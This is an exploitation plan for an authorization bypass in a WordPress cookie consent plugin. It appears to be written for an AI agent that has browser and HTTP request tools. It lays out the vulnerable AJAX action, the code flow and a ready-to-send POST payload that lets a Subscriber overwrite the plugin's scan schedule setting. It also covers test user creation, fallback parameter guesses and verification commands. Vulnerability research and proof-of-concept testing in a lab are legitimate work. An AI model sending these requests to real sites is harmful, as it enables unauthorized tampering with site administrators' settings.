Exploitation Research Plan - CVE-2026-12955

1. Vulnerability Summary

The Cookie Banner for GDPR / CCPA plugin (versions <= 4.3.6) is vulnerable to an Authorization Bypass via the gcc_save_schedule_scan AJAX action. The function gdpr_cookie_consent_ajax_save_schedule_scan() (the handler for this action) fails to implement capability checks (current_user_can) and nonce verification (check_ajax_referer). This allows any authenticated user, including those with Subscriber privileges, to modify the administrative cookie scan schedule configuration stored in the gdpr_scan_schedule_data option.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• HTTP Method: POST
• Action: gcc_save_schedule_scan
• Payload Parameter: schedule_data (inferred) or direct POST mapping.
• Authentication: Authenticated (Subscriber-level or higher).
• Preconditions: The plugin must be active. A Subscriber user account is required to access admin-ajax.php.

3. Code Flow

1. The plugin registers the AJAX action: add_action( 'wp_ajax_gcc_save_schedule_scan', 'gdpr_cookie_consent_ajax_save_schedule_scan' );.
2. A Subscriber user sends a POST request to admin-ajax.php with action=gcc_save_schedule_scan.
3. WordPress core dispatches the request to the handler function.
4. The handler lacks a check for manage_options capability.
5. The handler lacks a call to check_ajax_referer or wp_verify_nonce.
6. The handler extracts data from $_POST and passes it to update_option( 'gdpr_scan_schedule_data', ... ).

4. Nonce Acquisition Strategy

According to the vulnerability report, this specific endpoint lacks nonce verification entirely.

However, if verification was partially implemented or the agent needs to verify the presence of nonces for other scanner actions, the following strategy applies:

1. Identify Localization: The plugin localizes data via gdpr_localize_data (found in admin/js/gdpr-cookie-consent-admin-revamp.js).
2. Navigate to Admin: Use browser_navigate to /wp-admin/admin.php?page=gdpr-cookie-consent-settings.
3. Extract via JS: Use browser_eval("window.gdpr_localize_data") to find the relevant security token.
4. Note: Since the vulnerability explicitly states "missing nonce verification", requests should succeed without any security or _wpnonce parameters.

5. Exploitation Strategy

The goal is to modify the gdpr_scan_schedule_data option to demonstrate unauthorized control over administrative settings.

Step 1: Login

Authenticate as a Subscriber user using the provided credentials.

Step 2: Send Exploit Payload

Use the http_request tool to send the unauthorized update.

Request Details:

• URL: http://[target]/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  action=gcc_save_schedule_scan&schedule_data[enable_scan]=true&schedule_data[scan_interval]=daily&schedule_data[scan_time]=03:15
  

  (Note: If schedule_data as an array fails, try flat parameters: action=gcc_save_schedule_scan&enable_scan=true&scan_interval=daily)

6. Test Data Setup

1. Install Plugin: Ensure gdpr-cookie-consent version 4.3.6 is installed.
2. Create User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Check Initial State:

   wp option get gdpr_scan_schedule_data
   

7. Expected Results

• HTTP Response: The server should return a successful status (likely 200 OK) and a body indicating success (e.g., 1, {"success":true}, or {"status":"success"}).
• Data Impact: The gdpr_scan_schedule_data option in the WordPress database will reflect the values sent by the Subscriber.

8. Verification Steps

After the http_request, verify the change using WP-CLI:

wp option get gdpr_scan_schedule_data

The output should show the daily interval and 03:15 time (or whichever values were used in the payload).

9. Alternative Approaches

If the schedule_data parameter name is incorrect:

1. Inspection: Navigate to the "Cookie Scanner" tab in the admin UI using the browser tool.
2. DOM Analysis: Use browser_eval to inspect the "Save" button in the schedule settings section:

   // Check for form fields or AJAX calls in the scanner module
   Array.from(document.querySelectorAll('input, select')).filter(i => i.name.includes('scan'))
   

3. Parameter Refinement: Adjust the payload based on the found input name attributes.